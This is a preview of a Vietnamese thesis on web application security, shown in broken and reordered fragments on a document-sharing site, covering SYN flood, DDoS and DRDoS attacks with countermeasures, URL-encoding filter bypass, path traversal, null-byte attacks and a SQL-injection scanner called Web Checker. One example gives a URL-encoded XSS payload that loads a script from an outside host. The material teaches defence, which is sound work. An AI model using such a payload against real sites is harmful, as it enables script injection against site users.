Nghiên cứu một số vấn đề về bảo mật ứng dụng web trên Internet (Nguyễn Duy Thắng vs Nguyễn Minh Thu) - 3 doc

55 233 0
  • Loading ...
    Loading ...
    Loading ...

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

Tài liệu liên quan

Thông tin tài liệu

Ngày đăng: 12/08/2014, 10:20

Khoa CNTT Chương 9: Từ chối dịch vụ (Dos) -Trang 112- III.2. Lợi dụng TCP thực hiện phương pháp SYN flood truyềnthống: Hình 9.III.2-1: Tấn công DoS truyền thống Như đã đề cập về vấn đề thiết lập kết nối trong phần 1, bất cứ 1 gói tin SYN, máy chủ cũng phải để 1 phần tài nguyên của hệ thống như bộ nhớ đệm để nhận và truyền dữ liệu cho đường truyền đó. Tuy nhiên, tài nguyên của hệ thống là có hạn và hacker sẽ tìm mọi cách để hệ thống tràn qua giới hạn đó. ( Đây còn được gọi là half-open connection vì máy khách mở kết nối giữa chừng) Theo hình 9.III.2-1: Nếu máy chủ sau khi gửi trả một gói tin SYN/ACK để thông báo chấp nhận kết nối cho máy yêu cầu nhưng nếu địa chỉ IP của máy yêu cầu này là giả mạo thì gói tin không thể đến được đích, nên máy chủ vẫn phải dành tài nguyên cho yêu cầu đó. Sau một thời gian không nhận được phản hồi từ máy khách, máy chủ lại tiếp tục gửi một gói tin SYN/ACK để xác nhận lần nữa và cứ như vậy, kết nối vẫn tiếp tục mở. Nếu như hacker gửi nhiều gói tin SYN đến máy chủ đến khi máy chủ không thể tiếp nhận thêm 1 kết nối nào nữa thì lúc này hệ thống đã bị phá vỡ. Khoa CNTT Chương 9: Từ chối dịch vụ (Dos) -Trang 113- Kết luận: Chỉ với một đường truyền băng thông nhỏ, hacker đã có thể phá vỡ một hệ thống. Thêm vào đó, địa chỉ IP của hacker có thể được sửa đổi nên việc xác định thủ phạm là một vấn đề hết sức khó khăn. III.3. Tấn công vào băng thông III.3.1. Kiểu tấn công thứ 1 Hacker hoàn toàn có khả năng làm ngập hệ thống vì băng thông của hacker lớn hơn băng thông của máy đích. Kiểu tấn công này không bị hạn chế bởi tốc độ truyền mạng. Ví dụ 9.III.3.1-1: Hacker có một đường truyền tốc độ cao T1 ( 1.544- Mbps ) hay lớn hơn có thể dễ dàng phá vỡ một hệ thống có đường truyền 56Kbps. III.3.2. Kiểu tấn công thứ 2 Kiểu tấn công này được sử dụng khi đường truyền mạng của hacker là quá thấp so với đường truyền của máy đích. Không giống như kiểu tấn công DoS truyền thống ( phần 2 ), kiểu tấn công vào băng thông lớn hơn sẽ lợi dụng những gói tin từ những hệ thống khác nhau cùng một lúc tiến đến hệ thống đích khiến cho đường truyền của hệ thống đích không còn khả năng đáp ứng, máy chủ không còn khả năng nhận một gói tin nào nữa. Khoa CNTT Chương 9: Từ chối dịch vụ (Dos) -Trang 114- Hình 9.III.3.2-1: Kiểu tấn công DoS vào băng thông Theo hình 9.III.3.2-1, tất cả các gói tin đi vào 1 mạng máy tính qua 1 "Big-Pipe" ( ống dẫn lớn ), sau đó được router chia ra những "Small Pipe" ( ống dẫn nhỏ ) cho nhiều máy tính con tùy theo địa chỉ IP của gói tin. Nhưng nếu toàn bộ "Big-Pipe" bị làm ngập bằng những gói tin chỉ hướng đến 1 máy nhất định trong mạng máy tính con này, router đành phải chấp nhận loại bỏ phần lớn các packet để chỉ còn lại số lượng vừa đủ đi qua "Small Pipe" của máy tính đó. Kiểu tấn công này sẽ loại máy đích ra khỏi Internet. Đây là phương pháp tấn công kiểu từ chối dịch vụ nhưng không là DoS mà gọi là DDoS ( kiểu từ chối dịch vụ phân tán ), nghĩa là cùng một lúc nhiều máy sẽđược phát động để gửi gói tin đến máy đích ( mặc dù đường truyền của mỗi máy không cao nhưng nhiều đường truyền lại hợp thành một ống dẫn “ Big Pipe”), làm cho máy đích không còn khả năng tiếp nhận gói tin và bị loại khỏi mạng Internet, như sơ đồ minh họa sau:ợc router chia ra những "Sm Khoa CNTT Chương 9: Từ chối dịch vụ (Dos) -Trang 115- computer con tùy Hình 9.III.3.2-2: Tấn công DDoS  DRDoS (Distributed Reflection Denial of Service) - Thế hệ tiếp theo của DDoS: Đây cũng chính là nguyên nhân khiến cho trang grc.com bị phá vỡ. Hình sau sẽ minh họa kiểu tấn công DRDoS này. Khoa CNTT Chương 9: Từ chối dịch vụ (Dos) -Trang 116- Hình 9.III.3.2-3. Tấn công kiểu DRDoS Bằng cách giả địa chỉ IP của máy đích, hacker sẽ cùng lúc gửi nhiều gói tin đến các hệ thống máy mạnh trên mạng, các hệ thống này khi nhận gói tin SYN giả này, chấp nhận kết nối và gửi trả một gói tin SYN/ACK để thông báo. Vì địa chỉ IP của gói tin SYN bị hacker sửa đổi thành địa chỉ IP máy đích nên những gói tin SYN/ACK sẽ được gửi về cho máy đích. Cùng một lúc nhận được nhiều gói tin, đường truyền của máy đích không đủ khả năng đáp ứng, hệ thống máy đích từ chối nhận bất kì gói tin nào và lúc này hệ thống máy đích đã bị sụp đổ. Khoa CNTT Chương 9: Từ chối dịch vụ (Dos) -Trang 117- III.4. Kiểu tấn công vào tài nguyên hệ thống Đây là kiểu tấn công nhằm vào tài nguyên hệ thống hơn là tài nguyên mạng như CPU, bộ nhớ, file hệ thống, tiến trình… Hacker là một người dùng hợp lệ của hệ thống, và được một lượng tài nguyên giới hạn trên hệ thống. Tuy nhiên, hacker sẽ lạm dụng quyền truy cập này để yêu cầu thêm tài nguyên. Như vậy, hệ thống hay những người dùng hợp lệ sẽ bị từ chối sử dụng tài nguyên chia sẻ. Kiểu tấn công sẽ khiến cho hệ thống không thể sử dụng được vì tài nguyên đã bị sử dụng hết, không còn tiến trình để thực thi nữa. IV. BIỆN PHÁP PHÒNG CHỐNG Kiểu tấn công từ chối dịch vụ là kiểu tấn công gây nhiều khó khăn trong vấn đề bảo vệ cũng như điều tra tìm ra thủ phạm nhất, bởi vì hầu hết hacker đã thay đổi địa chỉ IP của máy mình nên rất khó xác định ai là thủ phạm. Để phòng chống khả năng khuyếch đại đường truyền, cần: • Huỷ khả năng broadcast tại router biên • Tăng kích thước hàng đợi kết nối -> kết quả: có thể phòng tránh khả năng tràn hàng đợi qua nhiều kết nối, nhưng cách này sử dụng nhiều tài nguyên • Giảm thời gian thiết lập kết nối • Dùng những phần mềm phát hiện và phá hủy kiểu tấn công DoS: Hầu hết những hệ điều hành hiện nay đều hỗ trợ khả năng phát hiện và phòng chống kiểu tấn công lụt SYN. Khoa CNTT Chương 9: Từ chối dịch vụ (Dos) -Trang 118- Tuy nhiên cũng đã có những phần mềm được có khả năng tránh kiểu tấn công này. Ví dụ như với Linux kernels 2.0.30 và về sau cài đặt một tùy chọn gọi là SYN Cookie, kernel có nhiệm vụ truy tìm và lưu vết những khả năng có thể xảy ra kĩ thuật SYN. Sau đó, kernel sẽ sử dụng một giao thức mã hoá như SYN cookie cho phép người dùng hợp lệ của hệ thống tiếp tục kết nối đến hệ thống Với WindowNT 4.0 trở về sau, sử dụng kĩ thuật backlog, mỗi khi hàng đợi kết nối không đủ đáp ứng, hệ thống tự động cung cấp tài nguyên cho hàng đợi, vì thế hàng đợi sẽ không bị phá vỡ. • Ứng dụng chỉ cho phép mỗi một máy con chỉđược thiết lập số kết nối tối đa theo qui định tránh trường hợp hacker gửi cùng lúc nhiều yêu câu gây tắc nghẽn. Nhận xét: Kiểutấn công từ chối dịch vụ tuy chỉ khiến cho hệ thống bị phá vỡ trong vài phút nhưng hậu quả thì khá to lớn (ảnh hưởng trên phạm vi tiền và uy tín). Đây là kĩ thuật thường được hacker sử dụng trong trường hợp không thể chiếm quyền quản trị trên hệ thống hoặc thông tin, hoặc muốn phá hủy uy tín của cơ quan đó.Thêm vào đóviệc giả mạo địa chỉ khiến cho hacker càng dễ dàng thực hiện viêc tấn công mà không sợ bị phát hiện. Thông thường kĩ thuật này được thực hiện kèm theo sự hỗ trợ của vài công cụ như ping of death, teardrop…Những công cụ này được liệt kê thêm trong chương 8 tiếp theo. Khoa CNTT Chương 10: Một số kĩ thuật tấn công khác -Trang 119- Chương 10 MỘT SỐ KĨ THUẬT TẤN CÔNG KHÁC Nội dung : I. Mã hóa URL. II. Kiểu tấn công vượt đường dẫn III. Tấn công dựa vào kí tự rỗng IV. Ngôn ngữ trình chủ Khoa CNTT Chương 10: Một số kĩ thuật tấn công khác -Trang 120- CHƯƠNG 10: MỘT SỐ KĨ THUẬTTẤN CÔNG KHÁC DE I. MÃ HÓA URL (URL Encoding) I.1. Khái niệm Theo RFC 1738 định nghĩa URL và RFC 2369 cho URIs, những kí tự được giới hạn sử dụng trên URL hoặc URI là một tập các kí tự US-ASCII. Theo RFC 1738, 2369 những kí tự chữ số, kí tựđặc biệt như “ $-_.+!*’() ” và một số kí tự dành riêng là không bị mã hoá trên URL hay URIs. Còn những kí tựđặc biệt khác thì được mã hóa như khoảng trắng, < > ”…Sau khi trình chủ nhận được dữ liệu này, trình chủ sẽ tự động giải mã để thao tác như bình thường. Vậyhackercó thể lợi dụng được gì trong URL mã hóa này. Những nhà phát triển ứng dụng có thể sẽ thiết kế ứng dụng để kiểm tra dữ liệu nhập vào của người dùng có hợp lệ hay không, những kí tựđặc biệc như < > trong thẻ script thường được dùng trong những kĩ thuật tấn công như XSS sẽ bị lọai bỏ Vậy để hợp thức hóa nội dung dữ liệu cần nhập, hacker thay vì nhập trực tiếp kí tựđặc biệt vào ô nhập thì họ có thể nhập những kí tựđã được mã hoá theo chuẩn RFC 1738, RFC 2369. Như vậy bằng cách đó, hacker có thể dễ dàng vượt qua kiểm soát này. Khoa CNTT Chương 10: Một số kĩ thuật tấn công khác -Trang 121- Ví dụ 10.I.1-1: http://www.myserver.c0m/script.php?mydata=%3cscript%20src=%22htt p%3a%2f%2fwww.yourserver.com%2fbadscript.js%22%3e%3c%2fscript%3e Biến mydata sẽ mang nội dung: <script src="http://www.yourserver.com/badscript.js"></script> I.2. Một số biện pháp phòng chống • Tránh sử dụng phương thức GET vì nếu dùng GET, dữ liệu dễ dàng được thêm vào URL. Vì thế, sử dụng phương thức POST bất cứ khi nào có thể. • Trong trường hợp URL bắt buộc được sử dụng để chuyển dữ liệu lên trình chủ, cần giới hạn kiểu dữ liệu, nên kiểm tra dữ liệu trong ứng dụng trước khi sử dụng. • Không nên sử dụng ngôn ngữ máy khách để kiểm tra tính đúng đắn của dữ liệu. II. KIỂU TẤN CÔNG VƯỢT ĐƯỜNG DẪN II.1. Khái niệm Nhiều ứng dụng sử dụng tập tin hệ thống của trình chủ trong “lớp trình bày” để hiển thị thông tin lưu trử tạm thời. Những tập tin này bao gồm những tập tin hình ảnh , tập tin HTML, hay những ứng dụng CGI. Thư mục WWW-ROOT là một thư mục gốc ảo bên trong trình chủ, nơi mà được truy xuất bởi trình duyệt. Ứng dụng lưu trữ thông tin bên trong hoặc bên ngòai WWW-ROOT. Nếu ứng dụng không kiểm tra những kí tự đặc biệt, thường được sử dụng trong đường dẫn như “/” thì có thể rằng ứng dụng đã có một lỗ hổng cho kiểu tấn công [...]... giản dễ sử dụng chỉ gồm một màn hình Nên mô hình giao diện được chọn là Dialog III.2.2 Sử dụng ActiveX Control (Microsoft Web Browser) Ứng dụng có sử dụng ActiveX Control (Microsoft Web Browser) của MS VC++ để cung cấp chức năng trình duy t Web Qua trình duy t người sử dụng cung cấp trang Web cần kiểm tra cho ứng dụng -Trang 14 5- Khoa CNTT Chương 13: Chương trình Web Checker III.2 .3 Sử dụng giao diện... kết quả -Trang 14 3- Khoa CNTT Chương 13: Chương trình Web Checker Hình 13. II. 1-1 : Kiến trúc phân tầng của ứng dụng Web Checker II.2 Giao tiếp giữa chương trình với trình chủ Web Giao tiếp giữa ứng dụng với trình chủ là giao tiếp giữa client và server Trong đó trình chủ là server còn ứng dụng là client kết nối đến server theo kiểu stream socket Hình 13. II. 2-1 : Giao tiếp giữa ứng dụng và trình chủ -Trang... báo động về độ an toàn -Trang 13 9- Khoa CNTT Phần III: Chương trình Web Checker PHẦN THỨ BA CHƯƠNG TRÌNH WEB CHECKER -Trang 14 0- Khoa CNTT Chương 13: Chương trình Web Checker Chương 13 CHƯƠNG TRÌNH WEB CHECKER Nội dung: I Đặc tả chương trình Web Checker II Kiến trúc chương trình Web Checker III Cài đặt IV Đánh giá chương trình -Trang 14 1- Khoa CNTT Chương 13: Chương trình Web Checker CHƯƠNG 13: CHƯƠNG... cách ứng dụng sẽ nhận trang web cần kiểm tra từ người sử dụng, rồi tự động tìm thông tin của trang Web và tạo ra các yêu cầu gửi đến trình chủ Sau đó nhận, phân tích kết quả trả về để đánh giá, kiểm tra và thông báo cho người sử dụng I.2 Yêu cầu Từ những ý tưởng trên, ứng dụng có những yêu cầu như sau: I.2.1 Yêu cầu chức năng • Chức năng duy t Web • Kiểm tra, phát hiện một số lỗ hổng bảo mật của ứng dụng. .. II.2 Một số biện pháp phòng chống Việc phòng chống kiểu tấn công vượt đường dẫn là một thử thách lớn cho những nhà ứng dụng trong một hệ thống phân tán Tuy nhiên, cách phòng chống tốt nhất vẫn là Ứng dụng cần kiểm tra việc truy xuất file trước khi xuất kết quả cho trình duy t -Trang 12 2- Khoa CNTT Chương 10: Một số kĩ thuật tấn công khác III TẤN CÔNG DỰA VÀO KÍ TỰ RỖNG III.1 Khái niệm Nhiều ứng dụng Web. .. CHƯƠNG 13: CHƯƠNG TRÌNH WEB CHECKER I ĐẶC TẢ CHƯƠNG TRÌNH WEB CHECKER I.1 Tổng quan Chương trình Web Checker” là một ứng dụng dùng để minh họa cho một số kĩ thuật tấn công đã được trình bày ở phần trên như SQL Injection, Form Field Manipulation và URL Manipulation, mà trọng tâm là SQL Injection Từ ý tưởng đó, chương trình sẽ có khả năng kiểm tra ứng dụng Web có mắc phải lỗi bảo mật SQL injection, Form... lợi dụng để tấn công như trong kĩ thuật mã hoá URL hay vượt đường dẫn…Cách tốt nhất vẫn là kiểm tra ngay trên ứng dụng Nếu không thể từ chối cũng như lọai bỏ những kí tự, ứng dụng cần kiểm tra dữ liệu xuất để đảm bảo rằng dữ liệu xuất đến trình duy t là an toàn Ví dụ 12.II-1: Với SQL Injection, ứng dụng cần xuất một trang báo lỗi do chính ứng dụng qui định để phòng tránh trường hợp hacker lợi dụng. .. mật của ứng dụng Web như: o Chèn câu truy vấn SQL (SQL Injection) o Thao tác trên tham số truyền (Parameter Manipulation) • Đánh dấu, thông báo kết quả kiểm tra • Gợi ý các biện pháp khắc phục đối với lỗ hỗng phát hiện được -Trang 14 2- Khoa CNTT Chương 13: Chương trình Web Checker I.2.2 Yêu cầu phi chức năng • Dễ sử dụng: ứng dụng phải cung cấp một giao diện trực quan, rõ ràng, dễ sử dụng II.KIẾN TRÚC... tượng cần bảo vệ trên một hệ thống có thể là: Các máy chủ dịch vụ, các router, các điểm truy nhập hệ thống, các chương trình ứng dụng, hệ quản trị CSDL, các dịch vụ cung cấp • Cấu hình cho những ứng dụng: Thận trọng trong việc cấu hình trình chủ và một số ứng dụng Trình chủ nên hay không cho phép thực thi những câu lệnh SSI Ngoài ra phải thiết lập quyền cho ứng dụng chỉ chạy dưới một số quyền hạn nhất... nhanh chóng vận dụng để xây dựng ứng dụng Với các lý do trên, luận văn chọn MS Visual C++ làm môi trường phát triển cho ứng dụng • Yêu cầu hệ thống: o Hệ điều hành:WinXp, WinNT, Win 2000, Win 9x với giao thức TCP/IP o Mạng: Kết nối Internet hoặc trình chủ Web tại máy cục bộ o Phần cứng: Ổ cứng còn trống 10 MB III.2 Phương pháp cài đặt III.2.1 Sử dụng mô hình giao diện dạng Dialog Do ứng dụng được xây . giới hạn sử dụng trên URL hoặc URI là một tập các kí tự US-ASCII. Theo RFC 1 738 , 236 9 những kí tự chữ số, kí tựđặc biệt như “ $-_ .+!*’() ” và một số kí tự dành riêng là không bị mã hoá trên URL. Chương 10: Một số kĩ thuật tấn công khác -Trang 12 0- CHƯƠNG 10: MỘT SỐ KĨ THUẬTTẤN CÔNG KHÁC DE I. MÃ HÓA URL (URL Encoding) I.1. Khái niệm Theo RFC 1 738 định nghĩa URL và RFC 236 9 cho URIs,. 9: Từ chối dịch vụ (Dos) -Trang 11 2- III.2. Lợi dụng TCP thực hiện phương pháp SYN flood truyềnthống: Hình 9.III. 2-1 : Tấn công DoS truyền thống Như đã đề cập về vấn đề thiết lập kết nối trong
- Xem thêm -

Xem thêm: Nghiên cứu một số vấn đề về bảo mật ứng dụng web trên Internet (Nguyễn Duy Thắng vs Nguyễn Minh Thu) - 3 doc, Nghiên cứu một số vấn đề về bảo mật ứng dụng web trên Internet (Nguyễn Duy Thắng vs Nguyễn Minh Thu) - 3 doc, Nghiên cứu một số vấn đề về bảo mật ứng dụng web trên Internet (Nguyễn Duy Thắng vs Nguyễn Minh Thu) - 3 doc